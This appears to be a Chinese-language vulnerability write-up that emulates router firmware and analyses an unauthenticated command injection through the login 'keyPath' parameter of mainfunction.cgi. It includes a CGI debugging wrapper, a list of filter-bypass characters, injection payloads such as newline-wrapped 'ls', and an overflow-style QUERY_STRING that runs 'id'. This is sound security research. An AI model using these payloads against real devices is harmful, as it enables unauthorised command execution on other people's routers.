mkdir -p /etc/persistence/data/ipsec.d/certs
}

[ -d /etc/persistence/data/ipsec.d/ocspcerts ] || {
mkdir -p /etc/persistence/data/ipsec.d/ocspcerts
}

[ -d /etc/persistence/data/ipsec.d/aacerts ] || {
mkdir -p /etc/persistence/data/ipsec.d/aacerts
}

[ -f /etc/persistence/data/ipsec.d/newcerts/index.txt.attr ] && {
echo "unique_subject = no" > /etc/persistence/data/ipsec.d/newcerts/index.txt.attr
}

rm -rf /etc/ipsec.d/aacerts
rm -rf /etc/ipsec.d/cacerts
rm -rf /etc/ipsec.d/certs
rm -rf /etc/ipsec.d/crls
rm -rf /etc/ipsec.d/ocspcerts
rm -rf /etc/ipsec.d/private
rm -rf /etc/ipsec.d/newcerts

ln -sf /etc/persistence/data/ipsec.d/aacerts /etc/ipsec.d/aacerts
ln -sf /etc/persistence/data/ipsec.d/cacerts /etc/ipsec.d/cacerts
ln -sf /etc/persistence/data/ipsec.d/certs /etc/ipsec.d/certs
ln -sf /etc/persistence/data/ipsec.d/crls /etc/ipsec.d/crls
ln -sf /etc/persistence/data/ipsec.d/ocspcerts /etc/ipsec.d/ocspcerts
ln -sf /etc/persistence/data/ipsec.d/private /etc/ipsec.d/private
ln -sf /etc/persistence/data/ipsec.d/newcerts /etc/ipsec.d/newcerts
fi
}
# Chris, add end, 20100427

start() {
[ -d /tmp/dbg_log ] || mkdir /tmp/dbg_log
[ -d /tmp/uci_tmp_folder ] || mkdir /tmp/uci_tmp_folder

# Chris, add start, 20100427, deal with persistent partition
mount_config_part_post
sync
# Chris, add end, 20100427
cat /etc/group | grep pure_ftpd_grp > /dev/null || addgroup pure_ftpd_grp
cat /etc/passwd | grep pure_ftpd_user > /dev/null || adduser -H -D -G pure_ftpd_grp pure_ftpd_user
cat /etc/group | grep smb > /dev/null || addgroup smb
/usr/bin/usersync.sh

echo "[ready to login]"

apply_uci_config
#config_load system
#config_foreach system_config system
set_hosts
}

效果如下:

image-20241207165309130

再次尝试启动 lighttpd,但 http 还是 https 都无法正常访问:

image-20241207165321736

关注到www目录的没有index页面:

image-20241207165336093

解决方法很简单,只需要将包含 index 页面的 ajax.zip 解压就行:

# cd www
# unzip ./ajax.zip

刷新页面之后即可正常访问:

image-20241207165346667

账号密码均为 admin,可以正常登录进去:

image-20241207165356752

如上图所示,注意到会出现有两个页面会出现404,解决方法就是找到这两个文件并将其复制到 /www/assets

# cd /
# find ./ -name "types.xml*"
./etc/clish/types.xml.tmp
# find ./ -name "param-view.xml*"
./etc/clish/param/param-view.xml.tmp
# cp ./etc/clish/types.xml.tmp /www/assets/types.xml
# cp ./etc/clish/param/param-view.xml.tmp /www/assets/param-view.xml

刷新网页重新登录后 404 错误已消失(所以这里有个模拟的 bug,刷新网页之后 Cookie 会失效,需要重新登录)。

调试 GET 请求

由于 cgi 本身的特性导致其不太好被调试,但是可以使用如下代码获取“GET 请求调用 cgi 时的环境变量与参数”。以 mainfunction.cgi 为例,使用时将下面程序的名称换为 mainfunction.cgi,原来的 cgi 请重命名为 mainfunction.cgi.real:

// debug.cgi
// arm-linux-gnueabi-gcc -g mainfunction.cgi_get.c -static -o mainfunction.cgi_get
#include <stdio.h>
#include <sys/wait.h>

int main(int argc, char *argv[], char *envp[])
{
   FILE *file = fopen("output.txt", "w");
   if (file == NULL)
  {
       perror("Failed to open file");
       return -1;
  }

   fprintf(file, "argc: %d\n", argc);

   fprintf(file, "Arguments:\n");
   for (int i = 0; i < argc; i++)
  {
       fprintf(file, "argv[%d]: %s\n", i, argv[i]);
  }

   fprintf(file, "Environment variables:\n");
   for (char **env = envp; *env != 0; env++)
  {
       fprintf(file, "%s\n", *env);
  }

   // ------------------------------------------------------------
   int status;
   int pid = fork();
   if (pid < 0)
  {
       perror("Failed to fork");
       return -1;
  }
   else if (pid == 0)
  {
       execve("./mainfunction.cgi.real", argv, envp); // 真实的cgi路径
  }
   else
  {
       if (waitpid(pid, &status, 0) == -1)
      {
           perror("Failed to wait for child");
           return -1;
      }

       if (WIFEXITED(status))
      {
           fprintf(file, "Child exited with status %d\n", WEXITSTATUS(status));
      }
       else if (WIFSIGNALED(status))
      {
           fprintf(file, "Child killed by signal %d\n", WTERMSIG(status));
      }
       else
      {
           fprintf(file, "Child did not exit normally\n");
      }
       if (fclose(file) != 0)
      {
           perror("Failed to close file");
           return -1;
      }
  }

   return 0;
}

cgi 的正常执行离不开 GET 请求传入的环境变量,例如:

# 新建终端使用ssh远程连接,导入环境变量(直接运行cgi或者执行gdb、gdbserver时会自动继承shell里的环境变量)
# 环境变量里包含不可见字符
$ export QUERY_STRING=$(printf 'session=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwpOOwpOO\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde(\xcd\xdev\xfe\xca\xad\xde^\xd3aa\xfe\xca\xad\xde|\xa1\xd4v\xfe\xca\xad\xdeX\xc0\xdcvid$IFS>/www/cyberangel')
$ export REQUEST_METHOD="GET"
$ export PATH_INFO="/cvmcfgupload"
$ ./gdbserver-armel-static-8.0.1 :1234 ./mainfunction.cgi.real

# 删除环境变量
$ unset REQUEST_METHOD
$ unset PATH_INFO
$ unset QUERY_STRING

漏洞分析

main函数逻分析

分析漏洞点之前我们先对这个文件的主函数的逻辑进行分析

首先可以看到PATH_INFO这个环境变量(cgi程序名后的路径参数)

INFO路径程序参数:

路径参数一般指在cgi文件名后表示其中其他路径的参数信息,例如:http://192.168.0.1:80/cgi-bin/mainfunction.cgi/webrestore,PATH_INFO=/webrestore

image-20241207150346386

action执行参数:

action是指上述路径的中对应执行操作的参数

image-20241207151534189

进入检查sub_B5CC函数,可以看到这里存在一个映射的函数表

image-20241207154603998
image-20241207154646518

所以main函数的主要逻辑就是通过遍历函数表名,并且和用户传入的action的值进行比较来确定要执行的函数

漏洞利用分析

在分析完整个程序的主体操作之后我们进入漏洞点,分析漏洞的成因以及利用方式

漏洞点

这里的命令注入参数是登录时的keyPath参数,利用ida的字符检索keypath在交叉引用,进行函数定位

image-20241207162549624

可以看到接受keypath参数后进行检查

image-20241207162925314

过滤函数

image-20241207163026677

检测逻辑:先检测当前字符是否为$,并且下一个字符得为(才会发生替换,目的是为了检测$(shellcommand)这种类型的命令执行

绕过检测

  • unix上可以通过以下字符进行命令执行
%0a 
%0d
; &
|
$(shell_command)
shell_command
{shell_command,}
  • 没有过滤单独的$,这样的话空格可以使用${IFS}来绕过

再经过check函数后可以通过snprintf函数将路径拼接在一起,然后再使用一个snprintf函数来将命令进行拼接

参数传递

openssl rsautl -inkey '/tmp/rsa/private_key_keypath' -decrypt -in /tmp/rsa/binary_login

将这条命令作为参数传递给run_command函数(如下),使用popen函数执行命令,造成未授权的命令执行

image-20241207163949029

漏洞利用

随便输入用户名和密码,然后抓包可以看到POST方式访问/cgi-bin/mainfunction.cgi,传入的action=login(执行的动作为login)

将keypatch的值修改为(加入单引号→闭合命令)

%27%0als%0a%27
'ls'

或者

%27%0als%${IFS}/0a%27
'ls${IFS}'
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇